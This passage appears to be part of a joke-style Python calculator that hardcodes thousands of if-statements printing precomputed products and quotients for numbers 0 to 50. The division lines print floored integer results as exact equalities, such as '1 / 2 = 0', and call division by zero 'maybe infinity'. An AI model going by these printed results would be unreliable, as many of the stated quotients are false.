firstNum == 37 and sign == "*" and secondNum == 46 : print("37 * 46 = 1702") if firstNum == 38 and sign == "*" and secondNum == 46 : print("38 * 46 = 1748") if firstNum == 39 and sign == "*" and secondNum == 46 : print("39 * 46 = 1794") if firstNum == 40 and sign == "*" and secondNum == 46 : print("40 * 46 = 1840") if firstNum == 41 and sign == "*" and secondNum == 46 : print("41 * 46 = 1886") if firstNum == 42 and sign == "*" and secondNum == 46 : print("42 * 46 = 1932") if firstNum == 43 and sign == "*" and secondNum == 46 : print("43 * 46 = 1978") if firstNum == 44 and sign == "*" and secondNum == 46 : print("44 * 46 = 2024") if firstNum == 45 and sign == "*" and secondNum == 46 : print("45 * 46 = 2070") if firstNum == 46 and sign == "*" and secondNum == 46 : print("46 * 46 = 2116") if firstNum == 47 and sign == "*" and secondNum == 46 : print("47 * 46 = 2162") if firstNum == 48 and sign == "*" and secondNum == 46 : print("48 * 46 = 2208") if firstNum == 49 and sign == "*" and secondNum == 46 : print("49 * 46 = 2254") if firstNum == 50 and sign == "*" and secondNum == 46 : print("50 * 46 = 2300") if firstNum == 0 and sign == "*" and secondNum == 47 : print("0 * 47 = 0") if firstNum == 1 and sign == "*" and secondNum == 47 : print("1 * 47 = 47") if firstNum == 2 and sign == "*" and secondNum == 47 : print("2 * 47 = 94") if firstNum == 3 and sign == "*" and secondNum == 47 : print("3 * 47 = 141") if firstNum == 4 and sign == "*" and secondNum == 47 : print("4 * 47 = 188") if firstNum == 5 and sign == "*" and secondNum == 47 : print("5 * 47 = 235") if firstNum == 6 and sign == "*" and secondNum == 47 : print("6 * 47 = 282") if firstNum == 7 and sign == "*" and secondNum == 47 : print("7 * 47 = 329") if firstNum == 8 and sign == "*" and secondNum == 47 : print("8 * 47 = 376") if firstNum == 9 and sign == "*" and secondNum == 47 : print("9 * 47 = 423") if firstNum == 10 and sign == "*" and secondNum == 47 : print("10 * 47 = 470") if firstNum == 11 and sign == "*" and secondNum == 47 : print("11 * 47 = 517") if firstNum == 12 and sign == "*" and secondNum == 47 : print("12 * 47 = 564") if firstNum == 13 and sign == "*" and secondNum == 47 : print("13 * 47 = 611") if firstNum == 14 and sign == "*" and secondNum == 47 : print("14 * 47 = 658") if firstNum == 15 and sign == "*" and secondNum == 47 : print("15 * 47 = 705") if firstNum == 16 and sign == "*" and secondNum == 47 : print("16 * 47 = 752") if firstNum == 17 and sign == "*" and secondNum == 47 : print("17 * 47 = 799") if firstNum == 18 and sign == "*" and secondNum == 47 : print("18 * 47 = 846") if firstNum == 19 and sign == "*" and secondNum == 47 : print("19 * 47 = 893") if firstNum == 20 and sign == "*" and secondNum == 47 : print("20 * 47 = 940") if firstNum == 21 and sign == "*" and secondNum == 47 : print("21 * 47 = 987") if firstNum == 22 and sign == "*" and secondNum == 47 : print("22 * 47 = 1034") if firstNum == 23 and sign == "*" and secondNum == 47 : print("23 * 47 = 1081") if firstNum == 24 and sign == "*" and secondNum == 47 : print("24 * 47 = 1128") if firstNum == 25 and sign == "*" and secondNum == 47 : print("25 * 47 = 1175") if firstNum == 26 and sign == "*" and secondNum == 47 : print("26 * 47 = 1222") if firstNum == 27 and sign == "*" and secondNum == 47 : print("27 * 47 = 1269") if firstNum == 28 and sign == "*" and secondNum == 47 : print("28 * 47 = 1316") if firstNum == 29 and sign == "*" and secondNum == 47 : print("29 * 47 = 1363") if firstNum == 30 and sign == "*" and secondNum == 47 : print("30 * 47 = 1410") if firstNum == 31 and sign == "*" and secondNum == 47 : print("31 * 47 = 1457") if firstNum == 32 and sign == "*" and secondNum == 47 : print("32 * 47 = 1504") if firstNum == 33 and sign == "*" and secondNum == 47 : print("33 * 47 = 1551") if firstNum == 34 and sign == "*" and secondNum == 47 : print("34 * 47 = 1598") if firstNum == 35 and sign == "*" and secondNum == 47 : print("35 * 47 = 1645") if firstNum == 36 and sign == "*" and secondNum == 47 : print("36 * 47 = 1692") if firstNum == 37 and sign == "*" and secondNum == 47 : print("37 * 47 = 1739") if firstNum == 38 and sign == "*" and secondNum == 47 : print("38 * 47 = 1786") if firstNum == 39 and sign == "*" and secondNum == 47 : print("39 * 47 = 1833") if firstNum == 40 and sign == "*" and secondNum == 47 : print("40 * 47 = 1880") if firstNum == 41 and sign == "*" and secondNum == 47 : print("41 * 47 = 1927") if firstNum == 42 and sign == "*" and secondNum == 47 : print("42 * 47 = 1974") if firstNum == 43 and sign == "*" and secondNum == 47 : print("43 * 47 = 2021") if firstNum == 44 and sign == "*" and secondNum == 47 : print("44 * 47 = 2068") if firstNum == 45 and sign == "*" and secondNum == 47 : print("45 * 47 = 2115") if firstNum == 46 and sign == "*" and secondNum == 47 : print("46 * 47 = 2162") if firstNum == 47 and sign == "*" and secondNum == 47 : print("47 * 47 = 2209") if firstNum == 48 and sign == "*" and secondNum == 47 : print("48 * 47 = 2256") if firstNum == 49 and sign == "*" and secondNum == 47 : print("49 * 47 = 2303") if firstNum == 50 and sign == "*" and secondNum == 47 : print("50 * 47 = 2350") if firstNum == 0 and sign == "*" and secondNum == 48 : print("0 * 48 = 0") if firstNum == 1 and sign == "*" and secondNum == 48 : print("1 * 48 = 48") if firstNum == 2 and sign == "*" and secondNum == 48 : print("2 * 48 = 96") if firstNum == 3 and sign == "*" and secondNum == 48 : print("3 * 48 = 144") if firstNum == 4 and sign == "*" and secondNum == 48 : print("4 * 48 = 192") if firstNum == 5 and sign == "*" and secondNum == 48 : print("5 * 48 = 240") if firstNum == 6 and sign == "*" and secondNum == 48 : print("6 * 48 = 288") if firstNum == 7 and sign == "*" and secondNum == 48 : print("7 * 48 = 336") if firstNum == 8 and sign == "*" and secondNum == 48 : print("8 * 48 = 384") if firstNum == 9 and sign == "*" and secondNum == 48 : print("9 * 48 = 432") if firstNum == 10 and sign == "*" and secondNum == 48 : print("10 * 48 = 480") if firstNum == 11 and sign == "*" and secondNum == 48 : print("11 * 48 = 528") if firstNum == 12 and sign == "*" and secondNum == 48 : print("12 * 48 = 576") if firstNum == 13 and sign == "*" and secondNum == 48 : print("13 * 48 = 624") if firstNum == 14 and sign == "*" and secondNum == 48 : print("14 * 48 = 672") if firstNum == 15 and sign == "*" and secondNum == 48 : print("15 * 48 = 720") if firstNum == 16 and sign == "*" and secondNum == 48 : print("16 * 48 = 768") if firstNum == 17 and sign == "*" and secondNum == 48 : print("17 * 48 = 816") if firstNum == 18 and sign == "*" and secondNum == 48 : print("18 * 48 = 864") if firstNum == 19 and sign == "*" and secondNum == 48 : print("19 * 48 = 912") if firstNum == 20 and sign == "*" and secondNum == 48 : print("20 * 48 = 960") if firstNum == 21 and sign == "*" and secondNum == 48 : print("21 * 48 = 1008") if firstNum == 22 and sign == "*" and secondNum == 48 : print("22 * 48 = 1056") if firstNum == 23 and sign == "*" and secondNum == 48 : print("23 * 48 = 1104") if firstNum == 24 and sign == "*" and secondNum == 48 : print("24 * 48 = 1152") if firstNum == 25 and sign == "*" and secondNum == 48 : print("25 * 48 = 1200") if firstNum == 26 and sign == "*" and secondNum == 48 : print("26 * 48 = 1248") if firstNum == 27 and sign == "*" and secondNum == 48 : print("27 * 48 = 1296") if firstNum == 28 and sign == "*" and secondNum == 48 : print("28 * 48 = 1344") if firstNum == 29 and sign == "*" and secondNum == 48 : print("29 * 48 = 1392") if firstNum == 30 and sign == "*" and secondNum == 48 : print("30 * 48 = 1440") if firstNum == 31 and sign == "*" and secondNum == 48 : print("31 * 48 = 1488") if firstNum == 32 and sign == "*" and secondNum == 48 : print("32 * 48 = 1536") if firstNum == 33 and sign == "*" and secondNum == 48 : print("33 * 48 = 1584") if firstNum == 34 and sign == "*" and secondNum == 48 : print("34 * 48 = 1632") if firstNum == 35 and sign == "*" and secondNum == 48 : print("35 * 48 = 1680") if firstNum == 36 and sign == "*" and secondNum == 48 : print("36 * 48 = 1728") if firstNum == 37 and sign == "*" and secondNum == 48 : print("37 * 48 = 1776") if firstNum == 38 and sign == "*" and secondNum == 48 : print("38 * 48 = 1824") if firstNum == 39 and sign == "*" and secondNum == 48 : print("39 * 48 = 1872") if firstNum == 40 and sign == "*" and secondNum == 48 : print("40 * 48 = 1920") if firstNum == 41 and sign == "*" and secondNum == 48 : print("41 * 48 = 1968") if firstNum == 42 and sign == "*" and secondNum == 48 : print("42 * 48 = 2016") if firstNum == 43 and sign == "*" and secondNum == 48 : print("43 * 48 = 2064") if firstNum == 44 and sign == "*" and secondNum == 48 : print("44 * 48 = 2112") if firstNum == 45 and sign == "*" and secondNum == 48 : print("45 * 48 = 2160") if firstNum == 46 and sign == "*" and secondNum == 48 : print("46 * 48 = 2208") if firstNum == 47 and sign == "*" and secondNum == 48 : print("47 * 48 = 2256") if firstNum == 48 and sign == "*" and secondNum == 48 : print("48 * 48 = 2304") if firstNum == 49 and sign == "*" and secondNum == 48 : print("49 * 48 = 2352") if firstNum == 50 and sign == "*" and secondNum == 48 : print("50 * 48 = 2400") if firstNum == 0 and sign == "*" and secondNum == 49 : print("0 * 49 = 0") if firstNum == 1 and sign == "*" and secondNum == 49 : print("1 * 49 = 49") if firstNum == 2 and sign == "*" and secondNum == 49 : print("2 * 49 = 98") if firstNum == 3 and sign == "*" and secondNum == 49 : print("3 * 49 = 147") if firstNum == 4 and sign == "*" and secondNum == 49 : print("4 * 49 = 196") if firstNum == 5 and sign == "*" and secondNum == 49 : print("5 * 49 = 245") if firstNum == 6 and sign == "*" and secondNum == 49 : print("6 * 49 = 294") if firstNum == 7 and sign == "*" and secondNum == 49 : print("7 * 49 = 343") if firstNum == 8 and sign == "*" and secondNum == 49 : print("8 * 49 = 392") if firstNum == 9 and sign == "*" and secondNum == 49 : print("9 * 49 = 441") if firstNum == 10 and sign == "*" and secondNum == 49 : print("10 * 49 = 490") if firstNum == 11 and sign == "*" and secondNum == 49 : print("11 * 49 = 539") if firstNum == 12 and sign == "*" and secondNum == 49 : print("12 * 49 = 588") if firstNum == 13 and sign == "*" and secondNum == 49 : print("13 * 49 = 637") if firstNum == 14 and sign == "*" and secondNum == 49 : print("14 * 49 = 686") if firstNum == 15 and sign == "*" and secondNum == 49 : print("15 * 49 = 735") if firstNum == 16 and sign == "*" and secondNum == 49 : print("16 * 49 = 784") if firstNum == 17 and sign == "*" and secondNum == 49 : print("17 * 49 = 833") if firstNum == 18 and sign == "*" and secondNum == 49 : print("18 * 49 = 882") if firstNum == 19 and sign == "*" and secondNum == 49 : print("19 * 49 = 931") if firstNum == 20 and sign == "*" and secondNum == 49 : print("20 * 49 = 980") if firstNum == 21 and sign == "*" and secondNum == 49 : print("21 * 49 = 1029") if firstNum == 22 and sign == "*" and secondNum == 49 : print("22 * 49 = 1078") if firstNum == 23 and sign == "*" and secondNum == 49 : print("23 * 49 = 1127") if firstNum == 24 and sign == "*" and secondNum == 49 : print("24 * 49 = 1176") if firstNum == 25 and sign == "*" and secondNum == 49 : print("25 * 49 = 1225") if firstNum == 26 and sign == "*" and secondNum == 49 : print("26 * 49 = 1274") if firstNum == 27 and sign == "*" and secondNum == 49 : print("27 * 49 = 1323") if firstNum == 28 and sign == "*" and secondNum == 49 : print("28 * 49 = 1372") if firstNum == 29 and sign == "*" and secondNum == 49 : print("29 * 49 = 1421") if firstNum == 30 and sign == "*" and secondNum == 49 : print("30 * 49 = 1470") if firstNum == 31 and sign == "*" and secondNum == 49 : print("31 * 49 = 1519") if firstNum == 32 and sign == "*" and secondNum == 49 : print("32 * 49 = 1568") if firstNum == 33 and sign == "*" and secondNum == 49 : print("33 * 49 = 1617") if firstNum == 34 and sign == "*" and secondNum == 49 : print("34 * 49 = 1666") if firstNum == 35 and sign == "*" and secondNum == 49 : print("35 * 49 = 1715") if firstNum == 36 and sign == "*" and secondNum == 49 : print("36 * 49 = 1764") if firstNum == 37 and sign == "*" and secondNum == 49 : print("37 * 49 = 1813") if firstNum == 38 and sign == "*" and secondNum == 49 : print("38 * 49 = 1862") if firstNum == 39 and sign == "*" and secondNum == 49 : print("39 * 49 = 1911") if firstNum == 40 and sign == "*" and secondNum == 49 : print("40 * 49 = 1960") if firstNum == 41 and sign == "*" and secondNum == 49 : print("41 * 49 = 2009") if firstNum == 42 and sign == "*" and secondNum == 49 : print("42 * 49 = 2058") if firstNum == 43 and sign == "*" and secondNum == 49 : print("43 * 49 = 2107") if firstNum == 44 and sign == "*" and secondNum == 49 : print("44 * 49 = 2156") if firstNum == 45 and sign == "*" and secondNum == 49 : print("45 * 49 = 2205") if firstNum == 46 and sign == "*" and secondNum == 49 : print("46 * 49 = 2254") if firstNum == 47 and sign == "*" and secondNum == 49 : print("47 * 49 = 2303") if firstNum == 48 and sign == "*" and secondNum == 49 : print("48 * 49 = 2352") if firstNum == 49 and sign == "*" and secondNum == 49 : print("49 * 49 = 2401") if firstNum == 50 and sign == "*" and secondNum == 49 : print("50 * 49 = 2450") if firstNum == 0 and sign == "*" and secondNum == 50 : print("0 * 50 = 0") if firstNum == 1 and sign == "*" and secondNum == 50 : print("1 * 50 = 50") if firstNum == 2 and sign == "*" and secondNum == 50 : print("2 * 50 = 100") if firstNum == 3 and sign == "*" and secondNum == 50 : print("3 * 50 = 150") if firstNum == 4 and sign == "*" and secondNum == 50 : print("4 * 50 = 200") if firstNum == 5 and sign == "*" and secondNum == 50 : print("5 * 50 = 250") if firstNum == 6 and sign == "*" and secondNum == 50 : print("6 * 50 = 300") if firstNum == 7 and sign == "*" and secondNum == 50 : print("7 * 50 = 350") if firstNum == 8 and sign == "*" and secondNum == 50 : print("8 * 50 = 400") if firstNum == 9 and sign == "*" and secondNum == 50 : print("9 * 50 = 450") if firstNum == 10 and sign == "*" and secondNum == 50 : print("10 * 50 = 500") if firstNum == 11 and sign == "*" and secondNum == 50 : print("11 * 50 = 550") if firstNum == 12 and sign == "*" and secondNum == 50 : print("12 * 50 = 600") if firstNum == 13 and sign == "*" and secondNum == 50 : print("13 * 50 = 650") if firstNum == 14 and sign == "*" and secondNum == 50 : print("14 * 50 = 700") if firstNum == 15 and sign == "*" and secondNum == 50 : print("15 * 50 = 750") if firstNum == 16 and sign == "*" and secondNum == 50 : print("16 * 50 = 800") if firstNum == 17 and sign == "*" and secondNum == 50 : print("17 * 50 = 850") if firstNum == 18 and sign == "*" and secondNum == 50 : print("18 * 50 = 900") if firstNum == 19 and sign == "*" and secondNum == 50 : print("19 * 50 = 950") if firstNum == 20 and sign == "*" and secondNum == 50 : print("20 * 50 = 1000") if firstNum == 21 and sign == "*" and secondNum == 50 : print("21 * 50 = 1050") if firstNum == 22 and sign == "*" and secondNum == 50 : print("22 * 50 = 1100") if firstNum == 23 and sign == "*" and secondNum == 50 : print("23 * 50 = 1150") if firstNum == 24 and sign == "*" and secondNum == 50 : print("24 * 50 = 1200") if firstNum == 25 and sign == "*" and secondNum == 50 : print("25 * 50 = 1250") if firstNum == 26 and sign == "*" and secondNum == 50 : print("26 * 50 = 1300") if firstNum == 27 and sign == "*" and secondNum == 50 : print("27 * 50 = 1350") if firstNum == 28 and sign == "*" and secondNum == 50 : print("28 * 50 = 1400") if firstNum == 29 and sign == "*" and secondNum == 50 : print("29 * 50 = 1450") if firstNum == 30 and sign == "*" and secondNum == 50 : print("30 * 50 = 1500") if firstNum == 31 and sign == "*" and secondNum == 50 : print("31 * 50 = 1550") if firstNum == 32 and sign == "*" and secondNum == 50 : print("32 * 50 = 1600") if firstNum == 33 and sign == "*" and secondNum == 50 : print("33 * 50 = 1650") if firstNum == 34 and sign == "*" and secondNum == 50 : print("34 * 50 = 1700") if firstNum == 35 and sign == "*" and secondNum == 50 : print("35 * 50 = 1750") if firstNum == 36 and sign == "*" and secondNum == 50 : print("36 * 50 = 1800") if firstNum == 37 and sign == "*" and secondNum == 50 : print("37 * 50 = 1850") if firstNum == 38 and sign == "*" and secondNum == 50 : print("38 * 50 = 1900") if firstNum == 39 and sign == "*" and secondNum == 50 : print("39 * 50 = 1950") if firstNum == 40 and sign == "*" and secondNum == 50 : print("40 * 50 = 2000") if firstNum == 41 and sign == "*" and secondNum == 50 : print("41 * 50 = 2050") if firstNum == 42 and sign == "*" and secondNum == 50 : print("42 * 50 = 2100") if firstNum == 43 and sign == "*" and secondNum == 50 : print("43 * 50 = 2150") if firstNum == 44 and sign == "*" and secondNum == 50 : print("44 * 50 = 2200") if firstNum == 45 and sign == "*" and secondNum == 50 : print("45 * 50 = 2250") if firstNum == 46 and sign == "*" and secondNum == 50 : print("46 * 50 = 2300") if firstNum == 47 and sign == "*" and secondNum == 50 : print("47 * 50 = 2350") if firstNum == 48 and sign == "*" and secondNum == 50 : print("48 * 50 = 2400") if firstNum == 49 and sign == "*" and secondNum == 50 : print("49 * 50 = 2450") if firstNum == 50 and sign == "*" and secondNum == 50 : print("50 * 50 = 2500") if firstNum == 0 and sign == "/" and secondNum == 0 : print("0 / 0 = Undefined (or maybe infinity...)") if firstNum == 1 and sign == "/" and secondNum == 0 : print("1 / 0 = Undefined (or maybe infinity...)") if firstNum == 2 and sign == "/" and secondNum == 0 : print("2 / 0 = Undefined (or maybe infinity...)") if firstNum == 3 and sign == "/" and secondNum == 0 : print("3 / 0 = Undefined (or maybe infinity...)") if firstNum == 4 and sign == "/" and secondNum == 0 : print("4 / 0 = Undefined (or maybe infinity...)") if firstNum == 5 and sign == "/" and secondNum == 0 : print("5 / 0 = Undefined (or maybe infinity...)") if firstNum == 6 and sign == "/" and secondNum == 0 : print("6 / 0 = Undefined (or maybe infinity...)") if firstNum == 7 and sign == "/" and secondNum == 0 : print("7 / 0 = Undefined (or maybe infinity...)") if firstNum == 8 and sign == "/" and secondNum == 0 : print("8 / 0 = Undefined (or maybe infinity...)") if firstNum == 9 and sign == "/" and secondNum == 0 : print("9 / 0 = Undefined (or maybe infinity...)") if firstNum == 10 and sign == "/" and secondNum == 0 : print("10 / 0 = Undefined (or maybe infinity...)") if firstNum == 11 and sign == "/" and secondNum == 0 : print("11 / 0 = Undefined (or maybe infinity...)") if firstNum == 12 and sign == "/" and secondNum == 0 : print("12 / 0 = Undefined (or maybe infinity...)") if firstNum == 13 and sign == "/" and secondNum == 0 : print("13 / 0 = Undefined (or maybe infinity...)") if firstNum == 14 and sign == "/" and secondNum == 0 : print("14 / 0 = Undefined (or maybe infinity...)") if firstNum == 15 and sign == "/" and secondNum == 0 : print("15 / 0 = Undefined (or maybe infinity...)") if firstNum == 16 and sign == "/" and secondNum == 0 : print("16 / 0 = Undefined (or maybe infinity...)") if firstNum == 17 and sign == "/" and secondNum == 0 : print("17 / 0 = Undefined (or maybe infinity...)") if firstNum == 18 and sign == "/" and secondNum == 0 : print("18 / 0 = Undefined (or maybe infinity...)") if firstNum == 19 and sign == "/" and secondNum == 0 : print("19 / 0 = Undefined (or maybe infinity...)") if firstNum == 20 and sign == "/" and secondNum == 0 : print("20 / 0 = Undefined (or maybe infinity...)") if firstNum == 21 and sign == "/" and secondNum == 0 : print("21 / 0 = Undefined (or maybe infinity...)") if firstNum == 22 and sign == "/" and secondNum == 0 : print("22 / 0 = Undefined (or maybe infinity...)") if firstNum == 23 and sign == "/" and secondNum == 0 : print("23 / 0 = Undefined (or maybe infinity...)") if firstNum == 24 and sign == "/" and secondNum == 0 : print("24 / 0 = Undefined (or maybe infinity...)") if firstNum == 25 and sign == "/" and secondNum == 0 : print("25 / 0 = Undefined (or maybe infinity...)") if firstNum == 26 and sign == "/" and secondNum == 0 : print("26 / 0 = Undefined (or maybe infinity...)") if firstNum == 27 and sign == "/" and secondNum == 0 : print("27 / 0 = Undefined (or maybe infinity...)") if firstNum == 28 and sign == "/" and secondNum == 0 : print("28 / 0 = Undefined (or maybe infinity...)") if firstNum == 29 and sign == "/" and secondNum == 0 : print("29 / 0 = Undefined (or maybe infinity...)") if firstNum == 30 and sign == "/" and secondNum == 0 : print("30 / 0 = Undefined (or maybe infinity...)") if firstNum == 31 and sign == "/" and secondNum == 0 : print("31 / 0 = Undefined (or maybe infinity...)") if firstNum == 32 and sign == "/" and secondNum == 0 : print("32 / 0 = Undefined (or maybe infinity...)") if firstNum == 33 and sign == "/" and secondNum == 0 : print("33 / 0 = Undefined (or maybe infinity...)") if firstNum == 34 and sign == "/" and secondNum == 0 : print("34 / 0 = Undefined (or maybe infinity...)") if firstNum == 35 and sign == "/" and secondNum == 0 : print("35 / 0 = Undefined (or maybe infinity...)") if firstNum == 36 and sign == "/" and secondNum == 0 : print("36 / 0 = Undefined (or maybe infinity...)") if firstNum == 37 and sign == "/" and secondNum == 0 : print("37 / 0 = Undefined (or maybe infinity...)") if firstNum == 38 and sign == "/" and secondNum == 0 : print("38 / 0 = Undefined (or maybe infinity...)") if firstNum == 39 and sign == "/" and secondNum == 0 : print("39 / 0 = Undefined (or maybe infinity...)") if firstNum == 40 and sign == "/" and secondNum == 0 : print("40 / 0 = Undefined (or maybe infinity...)") if firstNum == 41 and sign == "/" and secondNum == 0 : print("41 / 0 = Undefined (or maybe infinity...)") if firstNum == 42 and sign == "/" and secondNum == 0 : print("42 / 0 = Undefined (or maybe infinity...)") if firstNum == 43 and sign == "/" and secondNum == 0 : print("43 / 0 = Undefined (or maybe infinity...)") if firstNum == 44 and sign == "/" and secondNum == 0 : print("44 / 0 = Undefined (or maybe infinity...)") if firstNum == 45 and sign == "/" and secondNum == 0 : print("45 / 0 = Undefined (or maybe infinity...)") if firstNum == 46 and sign == "/" and secondNum == 0 : print("46 / 0 = Undefined (or maybe infinity...)") if firstNum == 47 and sign == "/" and secondNum == 0 : print("47 / 0 = Undefined (or maybe infinity...)") if firstNum == 48 and sign == "/" and secondNum == 0 : print("48 / 0 = Undefined (or maybe infinity...)") if firstNum == 49 and sign == "/" and secondNum == 0 : print("49 / 0 = Undefined (or maybe infinity...)") if firstNum == 50 and sign == "/" and secondNum == 0 : print("50 / 0 = Undefined (or maybe infinity...)") if firstNum == 0 and sign == "/" and secondNum == 1 : print("0 / 1 = 0") if firstNum == 1 and sign == "/" and secondNum == 1 : print("1 / 1 = 1") if firstNum == 2 and sign == "/" and secondNum == 1 : print("2 / 1 = 2") if firstNum == 3 and sign == "/" and secondNum == 1 : print("3 / 1 = 3") if firstNum == 4 and sign == "/" and secondNum == 1 : print("4 / 1 = 4") if firstNum == 5 and sign == "/" and secondNum == 1 : print("5 / 1 = 5") if firstNum == 6 and sign == "/" and secondNum == 1 : print("6 / 1 = 6") if firstNum == 7 and sign == "/" and secondNum == 1 : print("7 / 1 = 7") if firstNum == 8 and sign == "/" and secondNum == 1 : print("8 / 1 = 8") if firstNum == 9 and sign == "/" and secondNum == 1 : print("9 / 1 = 9") if firstNum == 10 and sign == "/" and secondNum == 1 : print("10 / 1 = 10") if firstNum == 11 and sign == "/" and secondNum == 1 : print("11 / 1 = 11") if firstNum == 12 and sign == "/" and secondNum == 1 : print("12 / 1 = 12") if firstNum == 13 and sign == "/" and secondNum == 1 : print("13 / 1 = 13") if firstNum == 14 and sign == "/" and secondNum == 1 : print("14 / 1 = 14") if firstNum == 15 and sign == "/" and secondNum == 1 : print("15 / 1 = 15") if firstNum == 16 and sign == "/" and secondNum == 1 : print("16 / 1 = 16") if firstNum == 17 and sign == "/" and secondNum == 1 : print("17 / 1 = 17") if firstNum == 18 and sign == "/" and secondNum == 1 : print("18 / 1 = 18") if firstNum == 19 and sign == "/" and secondNum == 1 : print("19 / 1 = 19") if firstNum == 20 and sign == "/" and secondNum == 1 : print("20 / 1 = 20") if firstNum == 21 and sign == "/" and secondNum == 1 : print("21 / 1 = 21") if firstNum == 22 and sign == "/" and secondNum == 1 : print("22 / 1 = 22") if firstNum == 23 and sign == "/" and secondNum == 1 : print("23 / 1 = 23") if firstNum == 24 and sign == "/" and secondNum == 1 : print("24 / 1 = 24") if firstNum == 25 and sign == "/" and secondNum == 1 : print("25 / 1 = 25") if firstNum == 26 and sign == "/" and secondNum == 1 : print("26 / 1 = 26") if firstNum == 27 and sign == "/" and secondNum == 1 : print("27 / 1 = 27") if firstNum == 28 and sign == "/" and secondNum == 1 : print("28 / 1 = 28") if firstNum == 29 and sign == "/" and secondNum == 1 : print("29 / 1 = 29") if firstNum == 30 and sign == "/" and secondNum == 1 : print("30 / 1 = 30") if firstNum == 31 and sign == "/" and secondNum == 1 : print("31 / 1 = 31") if firstNum == 32 and sign == "/" and secondNum == 1 : print("32 / 1 = 32") if firstNum == 33 and sign == "/" and secondNum == 1 : print("33 / 1 = 33") if firstNum == 34 and sign == "/" and secondNum == 1 : print("34 / 1 = 34") if firstNum == 35 and sign == "/" and secondNum == 1 : print("35 / 1 = 35") if firstNum == 36 and sign == "/" and secondNum == 1 : print("36 / 1 = 36") if firstNum == 37 and sign == "/" and secondNum == 1 : print("37 / 1 = 37") if firstNum == 38 and sign == "/" and secondNum == 1 : print("38 / 1 = 38") if firstNum == 39 and sign == "/" and secondNum == 1 : print("39 / 1 = 39") if firstNum == 40 and sign == "/" and secondNum == 1 : print("40 / 1 = 40") if firstNum == 41 and sign == "/" and secondNum == 1 : print("41 / 1 = 41") if firstNum == 42 and sign == "/" and secondNum == 1 : print("42 / 1 = 42") if firstNum == 43 and sign == "/" and secondNum == 1 : print("43 / 1 = 43") if firstNum == 44 and sign == "/" and secondNum == 1 : print("44 / 1 = 44") if firstNum == 45 and sign == "/" and secondNum == 1 : print("45 / 1 = 45") if firstNum == 46 and sign == "/" and secondNum == 1 : print("46 / 1 = 46") if firstNum == 47 and sign == "/" and secondNum == 1 : print("47 / 1 = 47") if firstNum == 48 and sign == "/" and secondNum == 1 : print("48 / 1 = 48") if firstNum == 49 and sign == "/" and secondNum == 1 : print("49 / 1 = 49") if firstNum == 50 and sign == "/" and secondNum == 1 : print("50 / 1 = 50") if firstNum == 0 and sign == "/" and secondNum == 2 : print("0 / 2 = 0") if firstNum == 1 and sign == "/" and secondNum == 2 : print("1 / 2 = 0") if firstNum == 2 and sign == "/" and secondNum == 2 : print("2 / 2 = 1") if firstNum == 3 and sign == "/" and secondNum == 2 : print("3 / 2 = 1") if firstNum == 4 and sign == "/" and secondNum == 2 : print("4 / 2 = 2") if firstNum == 5 and sign == "/" and secondNum == 2 : print("5 / 2 = 2") if firstNum == 6 and sign == "/" and secondNum == 2 : print("6 / 2 = 3") if firstNum == 7 and sign == "/" and secondNum == 2 : print("7 / 2 = 3") if firstNum == 8 and sign == "/" and secondNum == 2 : print("8 / 2 = 4") if firstNum == 9 and sign == "/" and secondNum == 2 : print("9 / 2 = 4") if firstNum == 10 and sign == "/" and secondNum == 2 : print("10 / 2 = 5") if firstNum == 11 and sign == "/" and secondNum == 2 : print("11 / 2 = 5") if firstNum == 12 and sign == "/" and secondNum == 2 : print("12 / 2 = 6") if firstNum == 13 and sign == "/" and secondNum == 2 : print("13 / 2 = 6") if firstNum == 14 and sign == "/" and secondNum == 2 : print("14 / 2 = 7") if firstNum == 15 and sign == "/" and secondNum == 2 : print("15 / 2 = 7") if firstNum == 16 and sign == "/" and secondNum == 2 : print("16 / 2 = 8") if firstNum == 17 and sign == "/" and secondNum == 2 : print("17 / 2 = 8") if firstNum == 18 and sign == "/" and secondNum == 2 : print("18 / 2 = 9") if firstNum == 19 and sign == "/" and secondNum == 2 : print("19 / 2 = 9") if firstNum == 20 and sign == "/" and secondNum == 2 : print("20 / 2 = 10") if firstNum == 21 and sign == "/" and secondNum == 2 : print("21 / 2 = 10") if firstNum == 22 and sign == "/" and secondNum == 2 : print("22 / 2 = 11") if firstNum == 23 and sign == "/" and secondNum == 2 : print("23 / 2 = 11") if firstNum == 24 and sign == "/" and secondNum == 2 : print("24 / 2 = 12") if firstNum == 25 and sign == "/" and secondNum == 2 : print("25 / 2 = 12") if firstNum == 26 and sign == "/" and secondNum == 2 : print("26 / 2 = 13") if firstNum == 27 and sign == "/" and secondNum == 2 : print("27 / 2 = 13") if firstNum == 28 and sign == "/" and secondNum == 2 : print("28 / 2 = 14") if firstNum == 29 and sign == "/" and secondNum == 2 : print("29 / 2 = 14") if firstNum == 30 and sign == "/" and secondNum == 2 : print("30 / 2 = 15") if firstNum == 31 and sign == "/" and secondNum == 2 : print("31 / 2 = 15") if firstNum == 32 and sign == "/" and secondNum == 2 : print("32 / 2 = 16") if firstNum == 33 and sign == "/" and secondNum == 2 : print("33 / 2 = 16") if firstNum == 34 and sign == "/" and secondNum == 2 : print("34 / 2 = 17") if firstNum == 35 and sign == "/" and secondNum == 2 : print("35 / 2 = 17") if firstNum == 36 and sign == "/" and secondNum == 2 : print("36 / 2 = 18") if firstNum == 37 and sign == "/" and secondNum == 2 : print("37 / 2 = 18") if firstNum == 38 and sign == "/" and secondNum == 2 : print("38 / 2 = 19") if firstNum == 39 and sign == "/" and secondNum == 2 : print("39 / 2 = 19") if firstNum == 40 and sign == "/" and secondNum == 2 : print("40 / 2 = 20") if firstNum == 41 and sign == "/" and secondNum == 2 : print("41 / 2 = 20") if firstNum == 42 and sign == "/" and secondNum == 2 : print("42 / 2 = 21") if firstNum == 43 and sign == "/" and secondNum == 2 : print("43 / 2 = 21") if firstNum == 44 and sign == "/" and secondNum == 2 : print("44 / 2 = 22") if firstNum == 45 and sign == "/" and secondNum == 2 : print("45 / 2 = 22") if firstNum == 46 and sign == "/" and secondNum == 2 : print("46 / 2 = 23") if firstNum == 47 and sign == "/" and secondNum == 2 : print("47 / 2 = 23") if firstNum == 48 and sign == "/" and secondNum == 2 : print("48 / 2 = 24") if firstNum == 49 and sign == "/" and secondNum == 2 : print("49 / 2 = 24") if firstNum == 50 and sign == "/" and secondNum == 2 : print("50 / 2 = 25") if firstNum == 0 and sign == "/" and secondNum == 3 : print("0 / 3 = 0") if firstNum == 1 and sign == "/" and secondNum == 3 : print("1 / 3 = 0") if firstNum == 2 and sign == "/" and secondNum == 3 : print("2 / 3 = 0") if firstNum == 3 and sign == "/" and secondNum == 3 : print("3 / 3 = 1") if 